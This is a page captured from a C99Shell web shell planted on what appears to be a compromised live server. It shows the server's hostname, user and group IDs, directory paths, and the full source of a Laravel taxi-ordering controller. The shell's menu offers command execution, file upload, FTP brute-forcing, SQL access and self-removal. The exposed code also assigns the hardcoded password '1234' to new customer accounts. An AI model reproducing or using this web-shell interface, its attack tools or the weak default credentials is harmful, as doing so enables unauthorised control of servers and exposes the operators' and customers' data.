!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.5 GB of 117.98 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TaxiOrderController.php (25.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\DriverOrderRequest;
use 
App\Models\Meterage;
use 
App\Models\Mileage;
use 
App\Models\Plan;
use 
App\Models\Taxi;
use 
App\Models\TaxiOrder;
use 
App\Models\User;
use 
App\Models\Utility;
use 
App\PaymentProvider\ProcessPayment;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Spatie\Permission\Models\Role;
use 
GuzzleHttp\Client;

class 
TaxiOrderController extends Controller
{
    public function 
index()
    {
        if (!
user_current_plan()) {
            return 
abort(404);
        }
        if (!
\Auth::user()->can('manage taxi order')) {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }

        
$auth \Auth::user();
        
$texiorders TaxiOrder::where('created_by'$auth->id)->orderBy('created_at''DESC')->get();
        return 
view('taxi_order.index'compact('texiorders'));

    }

    public function 
paymentStatus($idRequest $request){
        
$order=TaxiOrder::where('payment_type''offline')->where('id',$id)->firstOrFail();

        if(
$request->status=='paid'){
            
$order->payment_status='paid';
            
$order->save();
        }else{
            
$order->payment_status='unpaid';
            
$order->save();
        }

        return 
redirect()->route('taxi-order.index')->with('success'__('Order payment status successfully updated.'));
    }
    public function 
create()
    {
        if (!
user_current_plan()) {
            return 
abort(404);
        }
        if (
\Auth::user()->can('manage taxi order')) {
            
$auth \Auth::user();
            
$data['meterage'] = Meterage::where('created_by'$auth->id)->first();
            
$data['company_payment_setting'] = Utility::getCompanyPaymentSetting(\Auth::user()->creatorId());
            
$data['users'] = User::where('type''customer')->get();
            return 
view('taxi_order.create'$data);
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
store(Request $request)
    {
        if (
\Auth::user()->can('manage taxi order')) {
            
DB::beginTransaction();

            try {
                
$validator \Validator::make(
                    
$request->all(),
                    [
                        
'name' => 'required',
                        
'phone_number' => 'required',
                        
'pickup_address' => 'required',
                        
'destination_address' => 'required',
                        
'payment_type' => 'required',
                    ]
                );

                if (
$validator->fails()) {
                    
$messages $validator->getMessageBag();
                    return 
redirect()->back()->with('error'$messages->first())->withInput($request->all());
                }

                
$objUser \Auth::user()->creatorId();
                
$objUser User::find($objUser);
                
$user User::find(\Auth::user()->created_by);
                
$plan Plan::find($objUser->plan);

                
$user User::where('type''customer')
                    ->
where('id'$request->customer_id)
                    ->
where('created_by'\Auth::user()->creatorId())
                    ->
first();

                if (!
$user) {

                    
$total_customersUser::where('type''customer')->where('created_by',\Auth::user()->creatorId())->count();
                    
$total_customers=$total_customers==0?0:$total_customers 1;
                    
$companyUserPlan \App\Models\Plan::getPlan(\Auth::user()->show_dashboard());
                    if (
$companyUserPlan && $companyUserPlan->max_customers != -&&  $companyUserPlan->max_customers $total_customers) {
                        return 
redirect()->back()->with('error'__('Your customer limit is over, Please upgrade plan.'));
                    }


                    
$default_language DB::table('settings')
                        ->
select('value')
                        ->
where('name''default_language')
                        ->
where('created_by''='\Auth::user()->creatorId())
                        ->
first();

                    
$objUser \Auth::user()->creatorId();
                    
$objUser User::find($objUser);
                    
$user User::find(\Auth::user()->created_by);
                    
$plan Plan::find($objUser->plan);
                    
$userpassword 1234;

                    if (
$plan) {
                        
$user = new User();
                        
$user->name $request->name;
                        
$user->email $request->email;
                        
$user->phone_number $request->phone_number;
                        
$user->password = !empty($userpassword) ? \Hash::make($userpassword) : null;
                        
$user->lang = !empty($default_language) ? $default_language->value 'en';
                        
$user->email_verified_at now();
                        
$user->is_enable_login 1;
                        
$user->created_by \Auth::user()->creatorId();
                        
$user->type 'customer';
                        
$role_r Role::findByName('customer');
                        
$user->assignRole($role_r);
                        
$user->save();
                    }
                }

                
$meterage_charge Meterage::where('created_by''='\Auth::user()->creatorId())->first();



                
$per_milege_charge = isset($meterage_charge->per_meterage_charge) ? $meterage_charge->per_meterage_charge 0;
                
$trip_charges = isset($meterage_charge->trip_charge) ? $meterage_charge->trip_charge 0;
                
$extra_chrages = isset($meterage_charge->extra_chrage) ? $meterage_charge->extra_chrage 0;

                
$apiKey config('app.GOOGLE_API_KEY'); // Replace with your actual Google Maps API key



                
$pickup_lat_lng $request->pickup_lat_lng;
                
$destination_lat_lng $request->destination_lat_lng;


                
// Calculate distance
                
$client = new Client();
                
$response $client->get("https://maps.googleapis.com/maps/api/distancematrix/json?key=$apiKey&origins=$pickup_lat_lng&destinations=$destination_lat_lng&mode=driving");
                
$data json_decode($response->getBody(), true);
                
$distance $data['rows'][0]['elements'][0]['distance']['value']; // Distance in meters
                
$distance_in_miles $distance 1609.344;
                
$others_charges $trip_charges $extra_chrages;

                
$sub_total $distance_in_miles $per_milege_charge;
                
// Calculate cost or do whatever you want with distance
                
$total_cost $sub_total $others_charges// Define YOUR_COST_PER_METER accordingly

                
if ($per_milege_charge) {
                    
$taxi_order = new TaxiOrder();
                    
$taxi_order->name $request->name;
                    
$taxi_order->phone_number $request->phone_number;
                    
$taxi_order->email $request->email;
                    
$taxi_order->pickup_address $request->pickup_address;
                    
$taxi_order->destination_address $request->destination_address;
                    
$taxi_order->total_km $distance_in_miles;
                    
$taxi_order->kilometer_price $per_milege_charge;
                    
$taxi_order->total_cost $total_cost;
                    
$taxi_order->assigned_customer_id $request->customer_id $request->customer_id '';
                    
$taxi_order->status 'pending';
                    
$taxi_order->pickup_lat_lng $request->pickup_lat_lng;
                    
$taxi_order->destination_lat_lng $request->destination_lat_lng;
                    
$taxi_order->created_by \Auth::user()->creatorId();
                    
$taxi_order->company_id \Auth::user()->creatorId();
                    
$taxi_order->how_mobile_in_the_member $request->how_mobile_in_the_member;
                    
$taxi_order->steps_or_ramp $request->steps_or_ramp;
                    
$taxi_order->special_needs $request->special_needs;
                    
$taxi_order->height_of_member $request->height_of_member;
                    
$taxi_order->weight_of_member $request->weight_of_member;
                    
// $taxi_order->someone_knows_this_trip = $request->someone_knows_this_trip;
                    // $taxi_order->transfer_wheelchair_to_car = $request->transfer_wheelchair_to_car;
                    
$taxi_order->wheelchair_type 'no';
                    
$taxi_order->preferred_pickup_time $request->preferred_pickup_time;
                    
$taxi_order->personal_care_attendants $request->personal_care_attendants;
                    
$taxi_order->adult_escorts $request->adult_escorts;
                    
$taxi_order->child_escorts $request->child_escorts;
                    
$taxi_order->child_seats $request->child_seats;
                    
// $taxi_order->member_sign_drivers_log = $request->member_sign_drivers_log;
                    
$taxi_order->pickup_location_phone_number $request->pickup_location_phone_number;
                    
$taxi_order->instuctions_for_driver $request->instuctions_for_driver;
                    
$taxi_order->pickup_date $request->pickup_date;
                    
$taxi_order->appointment_time $request->appointment_time;
                    
$taxi_order->drop_off_location_phone_number $request->drop_off_location_phone_number;
                    
$taxi_order->payment_type $request->payment_type;
                    
$taxi_order->insurance_note $request->insurance_note;
                    
$taxi_order->insurance_type $request->insurance_type;

                    
$taxi_order->walk_independently $request->walk_independently;
                    
$taxi_order->transferring $request->transferring;
                    
$taxi_order->transferring_type $request->transferring_type;

                    
$taxi_order->emergency_contact $request->emergency_contact;
                    
$taxi_order->address $request->address;
                    
$taxi_order->dob $request->dob;

                    
$taxi_order->trx_id \Str::random(15);
                    
$taxi_order->save();

                    
DB::commit();

                    
$company_payment_setting Utility::getCompanyPaymentSetting(\Auth::user()->creatorId());
                    if(
$request->payment_type=='paypal'){

                        if(isset(
$company_payment_setting['is_paypal_enabled']) && $company_payment_setting['is_paypal_enabled']=='on' && isset($company_payment_setting['paypal_client_id']) && $company_payment_setting['paypal_secret_key']){

                            
$process_pyment= new ProcessPayment();
                            
$process_pyment=$process_pyment->gateway('paypal')
                                ->
type('taxi-order')
                                ->
credentials($company_payment_setting)
                                ->
amount($total_cost)
                                ->
data($taxi_order)
                                ->
process();


                                if (
$process_pyment->error_message) {
                                    return 
redirect()->route('taxi-order.index')->with('success'__('Order partially created.'));
                                }

                                if (
$process_pyment->return_view) {
                                    return 
$process_pyment->return_view;
                                } elseif (
$process_pyment->will_redirect && $process_pyment->redirect_url) {
                                    return 
redirect()->to($process_pyment->redirect_url);
                                } else {
                                    return 
redirect()->route('taxi-order.index')->with('success'__('Order partially created.'));
                                }
                        }
                    }


                    return 
redirect()->route('taxi-order.index')->with('success'__('Order successfully created.'));
                }

            } catch (
\Exception $e) {
                
dd($e);
                
DB::rollback();
                return 
redirect()->back()->with('error'$e->getMessage())->withInput($request->all());
            }
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
edit(TaxiOrder $taxiOrder)
    {
        if (!
user_current_plan()) {
            return 
abort(404);
        }
        if (
\Auth::user()->can('manage taxi order')) {
            
$data['taxiOrder'] = TaxiOrder::findOrFail($taxiOrder->id);
            
$data['meterage'] = Meterage::where('created_by''='\Auth::user()->creatorId())->first();
            
$data['company_payment_setting'] = Utility::getCompanyPaymentSetting(\Auth::user()->creatorId());

            return 
view('taxi_order.edit'$data);
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }
    public function 
update(Request $requestTaxiOrder $taxiOrder)
    {
        if (
\Auth::user()->can('manage taxi order')) {
            
$validator \Validator::make(
                
$request->all(),
                [
                    
'name' => 'required',
                    
'phone_number' => 'required',
                    
'pickup_address' => 'required',
                    
'destination_address' => 'required',
                ]
            );
            if (
$validator->fails()) {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            
$taxi_order TaxiOrder::findOrFail($taxiOrder->id);
            if(
$taxi_order->assigned_customer_id){
                
$user User::where('id',$taxi_order->assigned_customer_id)->where('type','customer')->first();
                
$user->name $request->name;
                
$user->phone_number $request->phone_number;
                
$user->email $request->email;
                
$user->save();
            }
            
$taxi_order->name $request->name;
            
$taxi_order->phone_number $request->phone_number;
            
$taxi_order->email $request->email;
            
$taxi_order->pickup_address $request->pickup_address;
            
$taxi_order->destination_address $request->destination_address;
            if(
$taxi_order->pickup_lat_lng != $request->pickup_lat_lng && $taxi_order->destination_lat_lng !=$request->destination_lat_lng){
                
$client = new Client();
                
$meterage_charge Meterage::where('created_by''='\Auth::user()->creatorId())->first();
                
$per_milege_charge = isset($meterage_charge->per_meterage_charge) ? $meterage_charge->per_meterage_charge 0;    
                
$apiKey config('app.GOOGLE_API_KEY'); // Replace with your actual Google Maps API key    
                
$pickup_lat_lng $request->pickup_lat_lng;
                
$destination_lat_lng $request->destination_lat_lng;    
                
// Calculate distance
                
$response $client->get("https://maps.googleapis.com/maps/api/distancematrix/json?key=$apiKey&origins=$pickup_lat_lng&destinations=$destination_lat_lng&mode=driving");
                
$data json_decode($response->getBody(), true);
                
$distance $data['rows'][0]['elements'][0]['distance']['value']; // Distance in meters
                
$distance_in_miles $distance 1609.344;
                
                
// Calculate cost or do whatever you want with distance
                
$total_cost $distance_in_miles $per_milege_charge// Define YOUR_COST_PER_METER accordingly
                
$taxi_order->total_km $distance_in_miles;
                
$taxi_order->kilometer_price $per_milege_charge;
                
$taxi_order->total_cost $total_cost;
            }
            
$taxi_order->pickup_lat_lng $request->pickup_lat_lng;
            
$taxi_order->destination_lat_lng $request->destination_lat_lng;
            
$taxi_order->created_by \Auth::user()->creatorId();
            
$taxi_order->company_id \Auth::user()->creatorId();
            
$taxi_order->how_mobile_in_the_member $request->how_mobile_in_the_member;
            
$taxi_order->steps_or_ramp $request->steps_or_ramp;
            
$taxi_order->special_needs $request->special_needs;
            
$taxi_order->height_of_member $request->height_of_member;
            
$taxi_order->weight_of_member $request->weight_of_member;
            
$taxi_order->someone_knows_this_trip $request->someone_knows_this_trip;
            
// $taxi_order->service_lavel = $request->service_lavel;
            // $taxi_order->transfer_wheelchair_to_car = $request->transfer_wheelchair_to_car;
            
$taxi_order->wheelchair_type 'no';
            
$taxi_order->preferred_pickup_time $request->preferred_pickup_time;
            
$taxi_order->personal_care_attendants $request->personal_care_attendants;
            
$taxi_order->adult_escorts $request->adult_escorts;
            
$taxi_order->child_escorts $request->child_escorts;
            
$taxi_order->child_seats $request->child_seats;
            
// $taxi_order->member_sign_drivers_log = $request->member_sign_drivers_log;
            
$taxi_order->pickup_location_phone_number $request->pickup_location_phone_number;
            
$taxi_order->instuctions_for_driver $request->instuctions_for_driver;
            
$taxi_order->pickup_date $request->pickup_date;
            
$taxi_order->appointment_time $request->appointment_time;
            
$taxi_order->drop_off_location_phone_number $request->drop_off_location_phone_number;
            
$taxi_order->save();
            return 
redirect()->route('taxi-order.index')->with('success'__('Order successfully updated.'));
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
destroy(TaxiOrder $taxiOrder)
    {
        if (!
user_current_plan()) {
            return 
abort(404);
        }
        if (
\Auth::user()->can('manage taxi order')) {
            
$taxiOrder TaxiOrder::findOrFail($taxiOrder->id);
            if (
$taxiOrder) {
                
$taxiOrder->delete();
                return 
redirect()->route('taxi-order.index')->with('success'__('Taxi Order successfully deleted.'));
            } else {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }
    public function 
recent_orders()
    {

        if (
\Auth::user()->type == 'driver') {

            
$texiorders TaxiOrder::where('status''pending')->get();
            return 
view('taxi_order.recent_orders'compact('texiorders'));
        }
    }


    public function 
all_taxi_orders()
    {
        
$auth \Auth::user();

        if (
$auth && $auth->type == 'driver') {
            
$texiorders DriverOrderRequest::where('driver_id'$auth->id)->orderByDesc('created_at')->get();
            return 
view('taxi_order.all_orders'compact('texiorders'));
        }
    }

    public function 
order_requests()
    {
        if (
\Auth::user()->type != 'driver') {
            
abort(404);
        }

        
$auth \Auth::user();
        
$texiorders DriverOrderRequest::where('status''pending')
            ->
where('driver_id',  $auth->id)->where('company_id'\Auth::user()->creatorId())->orderByDesc('created_at')->get();
        return 
view('taxi_order.order_requests'compact('texiorders'));
    }

    public function 
order_request_status(Request $request)
    {
        
$auth \Auth::user();

        
$order_request DriverOrderRequest::where(['status'=>'pending','driver_id'=>$auth->id,'id'=>$request->id])->firstOrFail();

        
$taxi_order TaxiOrder::findOrFail($order_request->taxi_order_id);
        if(
$request->status=='accepted'){
            
$taxi_order->status $request->status;
            
$taxi_order->assigned_driver_id $auth->id;
            
$taxi_order->save();
            
DriverOrderRequest::where('taxi_order_id',$order_request->taxi_order_id)
                                ->
where('company_id',$order_request->company_id)
                                ->
where('driver_id','!=',$auth->id)
                                ->
delete();

        }

        if (
$order_request) {
            
$order_request->status $request->status;
            
$order_request->save();
        }
        return 
redirect()->back()->with('success'__('Taxi Order status updated successfully.'));
    }


    public function 
push_order_request(Request $request)
    {
        
$order TaxiOrder::where(['status'=>'pending','id'=>$request->id])->first();
        if (!
$order) {
            return 
response()->json(['error' => __('Order not found or already pushed.')], 401);
        }

        
$driver_distance_rangeDB::table('settings')->where('created_by''='\Auth::user()->id)->where('name''distance_range_value')->first();

        
$range=10;
        if(
$driver_distance_range){
            
$range=$driver_distance_range->value;
        }

        
$driver_orders = [];
        
$auth \Auth::user();


        
$drivers User::where('type','driver')
        ->
where('created_by',\Auth::user()->creatorId())
        ->
where('driver_status','active')
        ->
whereNotNull('current_location')
        ->
get();

        
$driverIds = [];
        
$locations = [];

        foreach(
$drivers as $driver){
            
$driverIds[] =$driver->id;
            
$locations[] =$driver->current_location;
        }

        
$destinations=urlencode(implode('|',$locations));
        
$origins=urlencode($order->pickup_lat_lng);
        
$apiKey config('app.GOOGLE_API_KEY');
        
$url="https://maps.googleapis.com/maps/api/distancematrix/json?destinations=".$destinations."&origins=".$origins."&key=".$apiKey;
        
$client = new Client();
        
$response=$client->get($url);
        
$data json_decode($response->getBody(), true);
        
$driversToPush=[];
        if(!isset(
$data['rows'][0])){
            return 
response()->json(['error' => __('No Driver Found Within The Range')], 401);

        }
        
$elements=$data['rows'][0]['elements'];
        foreach(
$elements as $key=>$element){
            
$distance=$element['distance']['value'];
            
$distance_in_miles $distance 1609.344;
            if(
$distance_in_miles<=$range){
                
$driversToPush[]=$driverIds[$key];
            }

        }

        foreach(
$driversToPush as $driverId){
            
$driver_orders[] = [
                
'driver_id' => $driverId,
                
'taxi_order_id' => $order->id,
                
'company_id' => $auth->id,
                
'created_at' => now(),
                
'updated_at' => now()
            ];
        }

        
DriverOrderRequest::insert($driver_orders);
        
$order->status 'pushed';
        
$order->save();
        return 
redirect()->back()->with('success'__('Taxi Order pushed to the nearest driver.'));
    }

    public function 
order_request_customer_search(Request $request)
    {
        
// dd($request->all());
        
$search_data = [];
        
// dd($request->customer_info);
        
$customers User::where('created_by'\Auth::user()->creatorId())
                ->
where('type''=''customer')
                ->
where(function ($query) use ($request) {
                    
$query->where('name''like'"%$request->customer_info%")
                        ->
orWhere('phone_number''like'"%$request->customer_info%");
                })
                ->
get();


        foreach (
$customers as $customer) {
            
// Initialize variables
            
$pick_up_address '';
            
$destination_address '';
            
$total_distance '';
            
$total_cost '';
            
$destination_lat_lng '';
            
$pickup_lat_lng '';

            
$last_order $customer->customer_taxi_orders()->orderByDesc('created_at')->first(['pickup_address''destination_address''total_cost''total_km''destination_lat_lng''pickup_lat_lng']);


            if (
$last_order) {
                
$pick_up_address = isset($last_order->pickup_address) ? $last_order->pickup_address '';
                
$destination_address = isset($last_order->destination_address) ? $last_order->destination_address '';
                
$total_distance = isset($last_order->total_km) ? $last_order->total_km '';
                
$total_cost = isset($last_order->total_cost) ? $last_order->total_cost '';
                
$destination_lat_lng = isset($last_order->destination_lat_lng) ? $last_order->destination_lat_lng '';
                
$pickup_lat_lng = isset($last_order->pickup_lat_lng) ? $last_order->pickup_lat_lng '';
            }

            
$search_data[] = [
                
'id' => $customer->id,
                
'name' => $customer->name,
                
'phone_number' => $customer->phone_number,
                
'email' => $customer->email,
                
'pickup_address' => $pick_up_address,
                
'destination_address' => $destination_address,
                
'total_distance' => $total_distance,
                
'total_cost' => $total_cost,
                
'destination_lat_lng' => $destination_lat_lng,
                
'pickup_lat_lng' => $pickup_lat_lng,
            ];
        }

        return 
response()->json(['status' => 'success''data' => $search_data]);
    }
    public function 
taxi_order_details($id)
    {
        
$order TaxiOrder::findOrFail($id);
        return 
view('taxi_order.order_details'compact('order'));
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0085 ]--